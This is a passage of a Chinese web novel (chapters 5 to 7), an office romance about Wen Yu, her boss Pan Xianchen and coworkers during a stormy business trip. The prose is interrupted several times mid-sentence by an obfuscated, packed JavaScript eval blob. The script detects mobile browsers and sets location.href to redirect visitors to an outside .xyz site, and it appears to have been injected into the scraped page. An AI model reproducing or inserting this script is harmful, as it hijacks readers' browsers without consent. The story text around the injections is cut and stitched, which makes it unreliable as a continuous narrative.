门被文钰轻轻合上。潘羡臣看了看桌上的笔记本,全新的。翻开,只摘抄了那一次会议记录。三遍,没少。潘羡臣略感讶异,女性的字大多娟秀,让人感受到柔情、精致、干净、如潺潺流水的隽永。文钰的字像男人,飞扬、洒脱,仿佛蕴含龙行虎步的威压。 字如其人,但现在的文钰表现得不像她的字一样有破笼的气势和不顾一切的力量。 潘羡臣翻到最后,文钰写了几行小字—— [标题:保证书 对不起,潘总。 我不该不认真开会和听你讲话,我不该不参加团建,我让你失望了。 我保证以后再也不敢了! 后面还有,请翻——] 小学生文笔? 潘羡臣无语,忽然感觉自己像班主任。再往后翻,看到一个简笔勾勒的小姑娘,正捧着面条下跪。下方四个小字:负荆请罪。哦,捧的不是面条,是荆条。小姑娘撇着嘴,委屈巴巴地哭出了宽面条泪。 旁边写着小姑娘说的话:求求你,原谅我! 潘羡臣把笔记本扔到一边。 切,女人的花招。 办公室里,文钰着手准备着下周的招商会。叶一诺可怜兮兮地对她说:“是不是有好几天要见不到你啦?” 文钰说:“少来,别以为我不知道你有好几个备胎姐妹。” “不一样的嘛,这么多姐妹里,我和你最合得来。你是我吃饭搭子、厕所搭子、八卦搭子……所有搭子里的南波万。” 文钰笑笑:“我现在就去和雁姐申请把你带上。” 叶一诺哧溜一下缩回去:“别陷害我!我下周演唱会!八百个朋友帮我一起抢票,我不能缺席!” 过了一会儿,叶一诺又钻出来:“我刚帮你查了下天气,那边下雨哦,记得带保暖的衣服和雨伞。” 出差,飞机,落地,酒店。 这场雨从这座城市下到了那座城市,商务车上下来,豆大的雨珠还落个不停,噼里啪啦砸在地上,碎成一圈一圈。雨水溅到彭雁的西裤和高跟鞋上,文钰给她撑伞。她们眯着眼睛看前方,头两辆车里下来的男男女女也好不到哪儿去,大家都显得狼狈。 时间有点紧张,文钰负责放行李,彭雁这个级别及其以上的马上有个会。 “雁姐,资料。” 彭雁接过,文钰把完善的资料地收进透明文件袋里,大雨没对文件造成一点损失。不同的资料各自分门别类,细心地用标签标记着,一目了然,不易弄错。文钰的细节,彭雁一直都放心。 接下来没有文钰什么事。 她舒舒服服地趴在酒店的床上,笔记本电脑摆在她面前。彭雁临走前让她待命,她开着钉钉和微信,打算找一部电影度过这个被雨困住的下午。 龙标刚出来,彭雁电话来了。 “小郑资料出错了,你电脑里有没有原始版本?修改、检查、重订,送过来。” 彭雁吩咐完,又急切地挂掉。 文钰每次出差,都有把资料备份三遍的习惯。电脑里、移动盘里、纸质的。她一边在笔记本里搜索,一边给小郑打电话。小郑是今年刚考进来的新同事,出错是情有可原的。 电话接通,一道六神无主的年轻男声传过来:“文钰姐……” “来我房间,一起核对。”文钰报了房间号。 找到了。文钰一边浏览着文件,一边看屏幕右上角的时间。小郑还没到。他一进单位就被分到彭雁手下,和文钰成为同办公室的同事。叶一诺觉得小郑像小奶狗,时刻准备着下手。后来潘羡臣来了,叶一诺转移目标,但最终潘羡臣还是沦落为了潘狗,叶一诺失去目标。 “男人真是狗!”叶一诺双眼涣散地往床铺上一倒,手机卧在她的手掌。 文钰倒在她旁边,看她和小郑的聊天记录—— [姐姐,过几天是我生日,你觉得这几双鞋,哪双比较适合我啊?] 下面附赠几张鞋照。 [如果我说请姐姐挑一双送我当生日礼物,姐姐会答应小狗吗?] “哇,不要狗脸。”叶一诺对小奶狗祛魅。 文钰再次瞥了眼时间,她第二次去电小郑。电话接得很快,小郑气喘吁吁:“文钰姐,我好像迷路了……你能不能出来接下我?” 文钰:“……” “我在帮你检查修改。雁姐奖罚分明,出了这么大纰漏,不好好弥补,你奖金没了。” “……那我自己再找找吧。” 几分钟后,小郑到了。 文钰领着他去找工作人员,酒店的商务中心有打印机。文钰在旁焦急地等待,工作人员指着这台吞吞吐吐的打印机不好意思地说:“可能有点坏了,抱歉啊。” “我们在你们酒店有重要会议,如果因为你耽误了,你能承担这责任吗?” 文钰看着小郑双手叉腰的样子,吩咐他:“你在这儿等,我去外面找打印店。” “啊?外面哪儿有?”小郑一时惊慌地看着文钰奔走而去的背影,大喊,“外面下着大雨呢!” 一路车行而来的时候,文钰看到酒店旁边有打印店。她的伞在房间里,没时间回去拿,淋着雨直接跑出去。一切都很顺利,打印完毕,文钰问老板要了文件袋,再次把资料妥善收好。 彭雁接过文件袋,低声嘱咐她:“快去洗澡。” 文钰洗完澡后躺在床上,小郑给她发微信:谢谢姐姐,改天我请你喝奶茶![可爱][可爱] 文小钰:叫我文钰姐。 小郑不正经:……哦。 文钰丢掉手机,闭目养神。没过一会儿,叮咚—— 小郑不正经:我觉得叫姐姐更亲切一点,[大哭][大哭]就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她走着走着,就溜到了门边,小郑忽然闪现到她眼前,高个子着正装,确实有几分姿色,也难怪叶一诺一眼看上。 “姐姐,你是打算偷偷溜走吗?” 文钰:“……” 为什么能做到每一个字都值得吐槽! “我去那边看看。”文钰转身就走。 “等等我!姐姐!” 文钰不想和同事撕破脸,脸上挂笑,脚步走得飞快。但小郑一点也没被她落下,像块牛皮糖一样甩不掉:“姐姐,那边的牛小排你尝过没?超级好吃!” “……” “还有那个冰激凌,你喜欢什么口味?” “……” “你盘子空了,要不要再加点什么呀,姐姐?” “……” 姐姐姐姐姐姐…… 文钰扭身,准备和小郑撕破脸了,目光猝不及防对上后面那人。小郑顺着她的视线回望,深吸一口气:”潘总!” “嗯。” 潘羡臣举了举手里的香槟,当作打招呼。 狗和狗,还是有品质差距的。 小郑好像嗅到什么不详的气味,和潘羡臣打完招呼,就对文钰说:“姐姐,我去拿冰激凌,一会儿见!” 潘羡臣不关注小郑落荒而逃的背影,对文钰笑了笑:“你令我有点改观。” 文钰也笑:“是因为我今天淋成落汤鸡?” 潘羡臣摇头:“你整理的内容全面、有序,后面送上来的那份修改得细致,能从中看出你独特的思考视角。” “谢谢潘总。” “嗯。” 潘羡臣不吝啬夸奖,也不在她身边多停留。很快有别人围过来和他攀谈。 这下,她可以回去看电影了吧。 文钰压下嘴角的窃笑,四处找找,没有小郑,很安全。于是一阵风似的从人潮中穿越,黑绸般的长发随风扬起,与礼服飘逸的裙摆互为注脚。有人在看她,有人问起她,有人开始聊她。 潘羡臣在与其他人的聊天中分神,望了她一眼。她像一朵云,悄无声息地飘走。 5. 第 5 章 华美的晚宴像一场旧梦,装点了一些人的回忆。自由的云从不为风停留,它只在原地留下一抹柔软的痕迹。 文钰回房间后就踢掉了笨重的高跟鞋,褪去了拖沓的衣裙。兜头套一件短袖,裤子是清爽舒服的直筒宽松款。房间里没开灯,为了给电影制造氛围。 温于给她发微信:你出差了? 文小钰:嗯。 温于:你好歹和我说一声好吗?你妈问起的时候,我差点不知道怎么回。 文小钰:我妈找你干嘛? 文小钰:我和你说过了好不好?你没看见我给你留的字条吗? 温于:留什么字条!被风吹到垃圾桶里了!要不你发个微信呢?或者,当面和我说呢? 文小钰:怎么当面说,我上飞机的时候,你还在加班呢。 温于:那就发微信啊! 温于:你妈联系我妈了,聊咱俩结婚的事。 文钰盯着微信看,半晌,她把输入框里的[好的,下次一定发。]一字一字删掉。 结婚? 是的,时间确实差不多了。他们订婚都已经快一年了。 难道不该结婚吗? 妈妈说:“早点结婚,然后赶紧生孩子,这样你和温于就更加稳定了。” 文钰眼前一暗,手机自动熄屏了。电影在关键处,很精彩,但一点也吸引不到文钰了。她懒得动,懒得关电影,懒得开灯,就这么静静地在忽明忽暗的电影光里待了一会儿。 可她又觉得应该动,不动就胳膊麻了,就腰酸了,不动她就完了。 晚宴很丰盛,但她吃得不多,现在肚子又空了。房间里似乎有滚滚而来的压抑,四面八方把她包裹。她终于把电影关了,随意披一件外套就出门了。 可她也不知道该去哪里,下午冒雨狂奔的勇气早就没了。 电梯“叮”一声到了,文钰埋头冲进去,发现一层已经被按亮了。 “好巧?” 文钰回头,潘羡臣也换了一身干净舒适的衣服,和她同系列的慵懒。他还洗了澡,头发半干半湿,像雨中松露一样诱人。他好像不喷香水,但洗过澡后,身上却自然地带着沐浴过的香气。 潘羡臣住得比文钰高一层,他先进的电梯,一楼是他按的。他的双手塞在裤兜里,微微歪头看她,脸上挂着淡淡的笑。 “又在走神吗?”他问。 “潘总好。” “我没吃饱,打算去酒店外面转转。”潘羡臣这时候没什么架子,随口问她,“你?” “我也一样。” “那一起?” “……” 文钰没回答,因为她不一样。她是因为心里那一股摧枯拉朽的无力,她怕被淹没,才逃出来避难的。 但是潘羡臣没理会她的迷之沉默,就像她请假没得到回复时就自行默认一样,潘羡臣现在也自行默认了。 雨停了,闷热散了。凉凉的风迎面扑来,仿佛要把一切不合时宜吹走,吹出了一股无所畏惧。 干净的街道上走几步就偶遇一汪水洼,像透亮的镜子一样照射着世界的脸。远处的车灯、红绿灯、霓虹灯零星分布着,在人眼中形成一个又一个斑斓的光圈。 这是一个完全新鲜的、充满可能的雨后新世界。 潘羡臣闲庭散步,兴致盎然地看着沿途的街景。文钰走在他身边稍微落后一点的位置。他们谁都没有说话,耳边有电动车打铃的声音,有店铺前四人打牌的声音,有树上的蝉鸣,也有高处积攒的雨珠终于落下的声音。活色生香的夜晚包容着他们的安静,让他们的不说话也成为这夜晚独特的一角。 面前是一家烧烤店,咸香的气味飘得到处都是。潘羡臣停下来,辨认了一下店招牌:“这家吧?” 文钰点点头:“好的,潘总。” 潘羡臣回头看了她一眼,他们之间的距离从出来到现在,一直被她控制得分毫不差。她明明一路走神,但刚刚他突然停下,她也没有失控撞到他。 “怎么了?”文钰眨眨眼,觉得潘羡臣这个注视,带着说不清的意味。 潘羡臣说:“我请客。” 烧烤店好火爆,不大的店面挤得水泄不通,看来老板手艺不错。光膀子的、抽着烟的、单脚踩在凳子上的……这些市民组成了这家店里最有活力的一幕幕。 潘羡臣招呼了服务生点单,服务生在油腻腻的本子上一一记下,文钰说:“再来点鸡脆骨、牛胸口油、鸡翅中、烤虾、烤茄子,冰啤酒有吧?” “有的。” “快点哦。” 服务生走了,潘羡臣观察着她。这里环境很不好,但她没有不适应的样子,点单的时候,眼睛亮晶晶的。 文钰看回去:“你请客哦。” 潘羡臣笑了,又重复一遍:“我请客。” 文钰舔舔嘴唇,看向旁边那个光膀子的大胖子,一串又一串吃得喷香。那天她从波特兰石围墙回去,因为狗的事,她一直胡思乱想,害得李叔叔的烧烤没吃过瘾。今天她打算小宰一笔吃回来。 烧烤躺在铁盘子里被端上来了。 文钰吃烧烤的喜好显而易见,肉的、油的、辣的。吃的时候没人讲话,以他们的关系也没话可讲。文钰顾着吃,没注意到对面人不知何时已经停了下来。她把自己的嘴唇吃得火辣辣的,像水灵灵的新鲜辣椒。嘴角粘着油光,还有一些烧烤粉颗粒,一直延到鼓鼓的脸颊上。 潘羡臣靠在椅背上看她,她和旁边那个光膀子大胖子如出一辙。 不知不觉,她竟也成了这里融洽的一员。 潘羡臣拿出手机看消息。临时拉的出差群很热闹,晚宴后,依然有同事不断冒出来聊天。他们在谈论晚宴上的食物和美酒,也在谈论会议的惊险和顺利。 有人拍了自己吃得圆滚滚的肚皮照,也有人拍了晚宴上最精致的那一道甜点。工作群不可思议地自动刷新着最新消息,好似今晚的所有都是这么恰到好处。 潘羡臣一边笑一边围观,有人把之前不知谁发的晚宴全景照又发了一遍,照片里圈了个身影:[这美女谁啊?] 没人理他,消息很快被刷掉。 潘羡臣抬头看一眼对面,被圈出来的美女正吃烧烤吃得油光满面。 [是她。@文小钰] 潘羡臣看了下把文钰艾特出来的人,姓郑。 接着又有别人艾特文钰,问她怎么不出来聊天。 …… 潘羡臣问文钰:“再点?” “不了。” 文钰心想:说好小宰就小宰,凡事也要有个度。 潘羡臣点点头,目光又回到手机上。群里艾特个没完。叮咚—— 潘羡臣:[红包:恭喜发财,大吉大利] 群里静止了短暂一秒,然后大家伙忽然开始拼手速。潘羡臣手机被刷屏,一溜儿的“xx领取了你的红包”,有同事兴奋地发:红包好大!谢谢老板!于是接下来所有人整齐列队发谢谢老板。 回酒店的路上,他们走得更慢了。因为文钰吃撑,趁现在想消消食。 “谢谢潘总。”文钰说。 潘羡臣盯了她一眼。进店的时候说一遍,出店的时候说一遍,现在又说一遍。什么意思? “你老走我后面干什么?并排走。”每次看她,都得回头,说个话,也得回头。 “我想慢慢走,潘总,你忙的话,就先走吧。” 潘羡臣扬眉,哦,原来是这个意思。用完人了就把人赶走。 他笑笑:“谁说我忙了?” 文钰:“……” 潘羡臣命令:“并排。 陌生的城市,昏暗的街道,她和领导,并排走在回酒店的路上。 这合理吗? 潘羡臣很自洽。他在思考,文钰做事很果断,等不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270828|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到酒店的打印机,会选另一条路走。淋成那副德行,她没抱怨,说明她不娇气。在陌生的市井小店,裹着油气,熏着香烟,状态还是很自在。 他欣赏这样的人。 好像把她放到哪里,她都能活。 但有时候她也是复杂的。进电梯的时候,他这么大个人,她没看见,也不知道当时她在想什么。但潘羡臣看得出来,那时候文钰的情绪不好,像被一个密不透风的玻璃罐子罩住了似的,她难以呼吸。 所以他向她提议一起走走,觅食。 现在呢? 潘羡臣问她:“明天准备好了?” 文钰点头:“准备齐全。”干完明天一仗,就结束了。彭雁曾提过,回去以后,她有希望涨工资。 在这座城市的最后一天,大暴雨。 酒店的商务中心被他们征用。文钰跟着彭雁提前到场,但她们不坐在一起。文钰看了看名单,她旁边是小郑。 文钰:“……” 文小钰:小郑就在我旁边。 千金:什么?!我现在就给你淘宝一根打狗棒! 文钰噗嗤一笑,小郑注意到,压着声音说:“姐姐,你在笑什么?” 千金:你好可怜,身处狗圈。而我,在演唱会现场! 叶一诺发了一张自拍,明明没到晚上,现场居然已经排起了长队。远远望去,乌泱泱全是人。 文钰发:你注意安全……字没打全,旁边有阴影笼罩下来。小郑见她没理他,头探过来看她手机。文钰条件反射把手机一转,屏幕朝向另一边。再去瞪小郑,眼前一张大脸,近得毛孔都能清晰看见。 文钰吓一跳,往反方向仰,凳腿儿一晃,马上要摔。 “姐姐,你小心一点。”小郑眼疾手快抓住她,又把她扯了回来。 文钰一边坐直身体,一边四处看,准备换个空位坐下。不期然间,和远处一道灼灼的视线对碰。发现她在看,潘羡臣笑笑,挪开视线。 文钰:“……” 难得一场雨淋得领导对她改观,现在没认真听,又被抓到了。文钰扭头瞪了小郑一眼。 商务中心有个大摆钟,随着“当”的一声,整点报时。 潘羡臣发言的时候不像有的领导低头对着精心准备的稿子读,他会用眼神观察周围。听别人发言的时候,他两手就自然搭在桌上,其中有只手会“哒哒哒”地轻敲桌面,像弹钢琴。 文钰不由自主地想起蓝雪花和波特兰石围墙的午后,那天他没穿正装,碎发被空调风吹得飘扬。现在他衣冠楚楚地坐在那里,头发梳得一丝不苟。闲适的、正式的,多种不同的状态居然叠加在同一个人的身上。 还有昨天在烧烤店,他头发湿了。再往前,在他办公室,她发现他戴着眼镜…… 有人提问,他回答,他也提问别人。 文钰看着他,看久了,竟然觉得他眼神里有淡淡的笑意。 大摆钟又“当”了一下。 结束了。 文钰跟随人群走出商务中心,彭雁雷厉风行地从后赶上。文钰喊她:“雁姐。” 彭雁点点头,单手提着笔电,另一手插进裤兜,姿势很酷。她特意慢下脚步,和文钰并肩走。走两步,看她两眼,再走两步,又笑一下。 文钰:“雁姐,你笑什么?” 彭雁停下来,文钰也跟着停下。彭雁歪着头,端详文钰的脸,忽然说:“今天潘总很帅哦?” “嗯?” “你一直盯着他看。” “……” 有吗?文钰回想。她看他的时候,在想东西。不过那些东西也和他有关。现在被彭雁这么直接地指出来,文钰觉得不好意思,脸上渐渐热了。 彭雁很有兴趣地看着文钰红扑扑的脸,内心里想:她现在这副模样,一定很令男人心动吧。 “没发现吗?后来潘总都被你看笑了。” 6. 第 6 章 文钰回了房间,外面暴雨下个不停,乒乒乓乓地砸着窗户。手机里大家都在说雨下得真大,走不了了。晚几分钟,群里发了通知:返程延期,酒店再续一晚。紧接着又发:晚饭潘总请客,十楼宴会厅不见不散。 又请客啊。 烧烤店,群里红包,宴会厅。 出公差是有餐标餐补的,额外产生的费用回单位再报销,一切走流程就好了。但潘羡臣这架势,显然是要自掏腰包造福群众。他很有钱吗? 潘羡臣把十楼的大宴会厅包下来了,这里平时是做婚宴的。文钰跟着彭雁坐一桌,除了她们部门的几个人,还有其他部门的同事。同一桌,有熟面孔,有生面孔,还有半生不熟的面孔。一开始大家都比较含蓄,光吃菜不讲话的,后来开酒了,场面就热起来了。 很多人来给彭雁敬酒,彭雁酒量很好,酒品很好,酒商也很好。她不是来者不拒,看情况还要反灌别人。但来回敬的次数多了,也会吃不消。 文钰凑到彭雁耳边:“雁姐,你还行吗?” 彭雁摇头。这一桌人,喝得尽兴,酒量差的原地歇着,酒量好的去别桌了。 文钰只喝了一点,现在还很清醒。小郑就没这么运气了,因为他是新来的,又是年轻男性,好像路过的狗都能灌他几杯。他又不会喝,现在已经趴桌上了。 彭雁扫视一圈,同办公室的几个都喝够了,一会儿可以结伴离场。 小郑忽然站起来,过来和彭雁打报告:“雁姐,我上厕所。” 彭雁看着他酡红的脸色,吩咐文钰:“你跟一下。” 文钰不情愿,但整桌没有比她更合适的人选。小郑走路歪歪扭扭,但可能成为醉鬼后失去了思考的能力,没有了什么乱七八糟的想法,他一路走一路虚扶着文钰的手臂,没有越界的行为。 卫生间在尽头。迎面有其他醉鬼过来,不小心撞了他们一下,小郑像个不倒翁,晃了两下,然后就倒在文钰身上了。 文钰:“……” 都不知道他是不是故意。 终于把小郑送达男卫门口,小郑忽然说:“姐姐,我好难受……” “……” 文钰觉得他是故意的:“进去,就不难受了。” 她一手指着卫生间,一手推了小郑一下,恨不得立刻把他按进洗手池里。 “好……”小郑没被推走,软绵绵地笑着,头低下来凑近文钰,轻飘飘地说,“那我进去啦……姐姐,你等我一下……” 好臭。 文钰迅速屏住呼吸,酒气都吹到她脸上了! 她觉得恶心,心烦意乱地抱胸等待。 没一会儿,人出来了。 文钰看过去——意料外。她的手从胸口放下,垂在裤子两边。 潘羡臣走出来,板着脸,盯着她:“你守男厕门口干什么?” 文钰瞟了一眼他身后,说:“我等人。” 潘羡臣也回头看一眼,什么也没看到。他走到一边,抽了几张纸擦手。 窗户敞开着,外面的风雨刮进来,卷走了这里闷臭的酒气。 文钰看着潘羡臣,他一言不发,把手擦得很细致。嘴唇紧紧地抿着,似乎在考虑什么难事。窗外的凉风吹拂着,文钰忽然觉得刚刚那阵被小郑吃豆腐的坏感受随风变淡,她在想:潘羡臣为什么还不走? 冷不丁的,潘羡臣向她走来,又冷不丁的,他忽然问她:“你很喜欢被人叫姐姐?” 没头没脑的。莫名其妙。 文钰想:刚刚小郑在男卫门口对着她发春,潘羡臣看来在里面都听见了。 “不喜欢。”文钰摇摇头。 “那你喜欢小郑?” 文钰继续摇头,拨浪鼓似的。 潘羡臣松了松紧抿的唇线,文钰摇头的速度和幅度,他很满意。 “没事不要来男厕所。”潘羡臣说,“你回去吧。” “小郑……” “我带他回去。” 啊? “这不太好吧?” 文钰神色犹豫,但下意识后退的脚步却泄漏了她巴不得脚底抹油立刻开溜。 潘羡臣捕捉到了她的小动作,笑了一下。 “都是男人,有什么不好?” 文钰点头,一边撤退,一边说:“他喝醉了,很难搞。” 潘羡臣挥手赶她。 小郑从隔间出来洗手,他担心文钰不等他,就加快了速度。 “姐姐——” 话没说完,他嘎吱停下。像控制不住的刹车,像踩到电门的狗。小郑痛恨自己不由自主地害怕眼前这个男人,白着脸,挤出笑容:“潘总好。” 潘羡臣恭候多时了。他双手插兜,是审判的架势。这个小郑很嫩,每次见到领导都像见到老师一样问好,浑身上下还没褪尽男大学生的稚气。 “给你个建议。”潘羡臣说,“职场里不要乱搞姐弟关系。” 小郑想装傻,但看潘羡臣明显是警告而非建议的眼神,他精明地直觉:不要在潘羡臣的手底下不老实。就是个女人而已,哪里没有女人呢?他的工作很好,工作环境里有各式各样有钱的女人,换一个就可以了。 想明白这一点,他顺从地点头:“知道了,潘总。” 潘羡臣冷笑,扭头即走。 喝醉了?很难搞?骗女人的把戏。都是男人,他一眼就看穿了。 下飞机后,雨停了。 文钰被妈妈一个电话喊回了家。她把车停在别墅门口,前方,是爸爸的车。 他今天在家? 文钰在车里坐了十分钟,才慢腾腾地下车。 夜色四合,经雨洗刷,空气里的气味很干净。有不知名的小昆虫在妈妈的小花园里鸣叫,晚风习习,花枝乱颤。别墅的灯大亮,隐约有饭香飘出,全部都在书写和谐、美满。 是吗? 文钰顺着饭香,走进家门。映入眼帘的是爸爸早年的书法字:家和万事兴。用昂贵的材料裱起来。 “爸爸,妈妈。” “快来!”妈妈一边招呼,一边把新做的一盘菜端出来。 文钰走过去坐在老位置上。家里吃饭很安静,有时候妈妈会开着电视吃饭,但没人去听、去看,只是为了有声音作伴。有时候不开电视,那餐桌上就只剩下夹菜、咀嚼的声音。 更多时候,都是妈妈的声音。今天菜价涨了,炒菜的时候放了什么调料,花园里那盆花是新买的,浇花的时候腰扭了一下……妈妈不停地说,对面的爸爸像个木头,不会讲话。 文钰会和妈妈对话,妈妈就一边笑一边给她夹菜,餐桌上有了女人的笑声,听起来好像也热闹。 吃完饭,爸爸会马上离开餐厅,去客厅看新闻,或者把自己关在书房里看电脑。 妈妈辛苦地洗了碗,去开书房的门,爸爸会立刻把电脑页面切换。妈妈知道他有鬼,但她常常装作不知道。面容上甚至带着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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彭雁微信通知她,周一的部门汇报让她去。 叶一诺嫉妒地说:“雁姐对你真好,以前汇报都是她自己上场呢,别的部门也是主管负责的,老严总也会来的吧。她居然让你去……” 文钰笑笑:“你到了吗?” “放心,安全抵达!”叶一诺觉得自己请假去看演唱会的决定太对了,人果然不上班才像个人,“我不会错过周一的例会的,到时候你穿好看点,我给你拍照呀。” 周日晚,彭雁也提醒她把平时穿的那些短袖牛仔裤换掉,着正装出席。 文小钰:收到!谢谢雁姐! 雁过留声:好好把握,潘总是喜欢你的。 文钰对着手机看愣了。 雁过留声:我们私下聊过你,他说你有想法,很独特,能顶事。这样的下属谁不喜欢呢? 文小钰:嗯,我明天会表现好的。 她选的衣服很干净大气,很普通的上白下黑,但丝质的材料柔顺地贴着她的身体,风吹过时,好像会泛起波浪似的。她很少见地化了淡妆,进办公室后,好几个同事特意过来夸她好看。 报告厅里,同事们已经就座,领导们坐在第一排。 文钰脱稿上台,聚光灯把她的皮肤照得亮亮的,她回头看身后的大屏幕,飞扬的高马尾好像有了独立的灵魂。 潘羡臣的目光在她身上长久地停留。 7. 第 7 章 彭雁对文钰的表现很满意,她用手机给文钰拍照,叶一诺弓着身以防挡住后面同事的视线,她像只躲躲藏藏的小猫,偷偷和彭雁说:“雁姐,我有相机,我来拍吧。” 彭雁低头一看,叶一诺已经抱着脖子上挂着的相机冲出去了。 近景,正脸一张,左侧脸一张,右侧脸一张,右侧脸怎么格外好看?右侧脸两张,右侧脸三张。切远景,左边拍过去一张,右边拍过去一张,后面往前拍一张……咔嚓咔嚓,一张两张三张……咔嚓咔嚓…… 潘羡臣皱眉看了看蹲到他前面拍照的人,又皱眉看着她左找角度、右找角度,就是挡在他前面不走。 这谁? 好像叫什么叶一诺? 五分钟后,终于走了。潘羡臣舒展神情,耳边文钰的声音娓娓道来,不慌也不乱。他猜测文钰一定有丰富的大舞台经验,在她的学生时代,或许她曾无数次上台发表讲话,所以她完全不怯场,很懂得让人们的目光牢牢地粘在她身上。 文钰笔直地站着,偶尔挪动脚步,不急不躁的。她高高束起的马尾使她有一种风华正茂的惊艳,仿佛下一刻她马上会飞奔向大草原,像野马一样无拘无束地探索这世界。 潘羡臣想象着那样的画面,想象着她奔跑起来、摇晃起来,背后的高马尾一下一下地碰着她洁白的后颈……咔嚓咔嚓……潘羡臣一惊,叶一诺不知什么时候又转到他这边来,拍个不停。 潘羡臣:“……” 他低了低头,惊讶于自己刚刚在脑海里幻想的东西。随意放在桌上的手用力握了握,指甲嵌到掌心里,微微发疼。他的手心若有似无地浮出一层薄汗,抬头,文钰亮亮的眼睛正好望着他,她眨眨眼,像漫漫星河中落下几颗碎钻,砰砰砰地落地,他感受到自己的心脏也在这一片茫茫星光里砰砰直跳。 他深呼吸,尽力使自己投入到她的汇报中。 严致闻坐在他旁边,潘羡臣转头去看。一般情况下,严致闻不出席这类场合,大小会议,是由严致闻的副手出面撑场。今天不一样,刚好碰到上周招商会,严致闻到了。 潘羡臣好奇严致闻对汇报人的看法,他观察着严致闻的神态。严致闻目不转睛地盯着汇报的年轻人,体现出他对文钰汇报内容的兴趣。严致闻很少这么专注地听会议,老谋深算的老江湖总会低头躲个懒的。 文钰致谢了。 严致闻点点头,笑了一下。 潘羡臣知道严致闻对文钰印象很好,他也跟着笑一下。文钰被认可,好像他也同样感觉到骄傲和光荣似的。 从报告厅出来跟着严致闻去他的办公室,潘羡臣问:“严总,怎么样?” 严致闻说:“有好有坏,你具体问谁?” “我当然关心我手下的员工。” 他手下去汇报的不止一人,其中有好几个主管。 严致闻一句话点评:“老油条要让位,年轻人锋芒毕露。” 潘羡臣笑了。 “好了,不聊工作了,咱们关起门来,唠唠家常?” 潘羡臣点头,主动提起:“芊芊给我发微信了,过两天回国,晚班机。” “本来已经回来了,非要绕到旁边那个什么小国家去玩一下。她呀,太我行我素了,都是我从小惯坏了她。后悔啊!” 潘羡臣笑作回应。严致闻只有严芊芊一个独女,还是老来得子,当然把人宠上天了。再来一回,还是宠。现在说着要吃后悔药,其实心里喜欢小棉袄喜欢得不得了。 “晚上来严叔叔家吃饭?你爸妈也来。” 潘羡臣婉拒:“和朋友有约,你们老友相聚,我不去掺和了。” 潘羡臣的朋友刚度蜜月回来,他们约在老地方。 宁铠刚赶到,一眼就看见潘羡臣坐在吧台边,手里把玩着一杯特调。他三步并两步过去,搂住潘羡臣的肩:“潘狗!” 潘羡臣:“……” “宁狗。” “不像话!叫我宁爹。” 吧台的调酒师傅一边耍着帅,一边扑哧直乐。宁铠眼神犀利地扫过去,威胁他:“敢笑话老板?你不想干了。” 潘羡臣指指四周围,讥讽他:“你数数,几个客人?亏本的玩意儿,趁早关了吧。” “有毛病?关了以后,我被老婆赶出门,睡哪儿去?” 调酒师傅又乐。 宁铠:“笑!笑!笑!笑一下扣一百!” 潘羡臣:“今天就被老婆赶出门了?不然你约我来这儿?” “没有没有,今天单纯是想你了。来,让爸爸抱抱。”宁铠展开胳膊,潘羡臣一把推开他,骂他恶心。 潘羡臣和宁铠是同学,十多年的交情,十来岁的时候,两个人成天厮混在一起。宁铠每个阶段的人生大事,潘羡臣都参与了,同样,宁铠对潘羡臣也是如此。 几杯马尿下肚,宁铠就开始和潘羡臣说老婆的坏话。说她每天要监督他洗脚,不洗不给上床;说她整天不高兴了就打他出气,他打回去的话,又不给他上床;还说她一天生800个气,气球做的吧! 潘羡臣说:“那你离婚。” “有毛病?嫉妒我有老婆就直说,不要挑拨我和我老婆的关系。” 宁铠喝酒上脸,喝几杯脸就红得跟猴屁股似的,这点他知道。潘羡臣不这样,他喝少了一派如常,喝多了也一派如常,根本没法从外表上观察出他的异样。直到他开始对着树干脱裤子尿尿,别人才知道他喝晕了。 宁铠看着潘羡臣这张波澜不惊的脸,完全分辨不出他喝晕没有,一根手指抖啊抖,对着潘羡臣的脸指指点点:“潘羡臣,你!连我宁狗都承认的大帅比,怎么还单身呢?你赶紧娶个老婆吧,爸爸真的不忍心看你这么孤单。” 疯了。 潘羡臣想:宁铠居然承认他帅了……不对,宁铠居然说自己是狗了……明明他才是狗,潘狗,潘狗…… 潘羡臣的眼前开始模糊,面前巨大的酒墙开始移动,花花绿绿的酒瓶子在闪闪发光,像灿烂的霓虹,把他拉回那座城市,那条街道。他和一个女人并肩走着,走着,走着,走到了富丽堂皇的晚宴里去,白色的裙摆扬起,滑过他的鼻梁。是什么气味呢?为什么他闻不到?为什么他想象不到? 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文小钰:……角度问题。 切,什么角度问题,照片她拍的她会不知道? 叶一诺摸着下巴回想了一下,有问题,绝对有问题!不然她的嗑cp雷达怎么嘀嘀嗒嗒响个不停? 千金:你再嘴硬,我就把这张照片发给小航,让他做到集团公众号里去! 文小钰:求你别搞。 文钰把蓝牙耳机摘下来,仔细研究照片。 不是角度的关系吗?他在看她?用这种眼神? 文钰不断问自己,隆隆的摇滚乐和隆隆的心跳同频,在她的世界里轰隆隆地炸开。 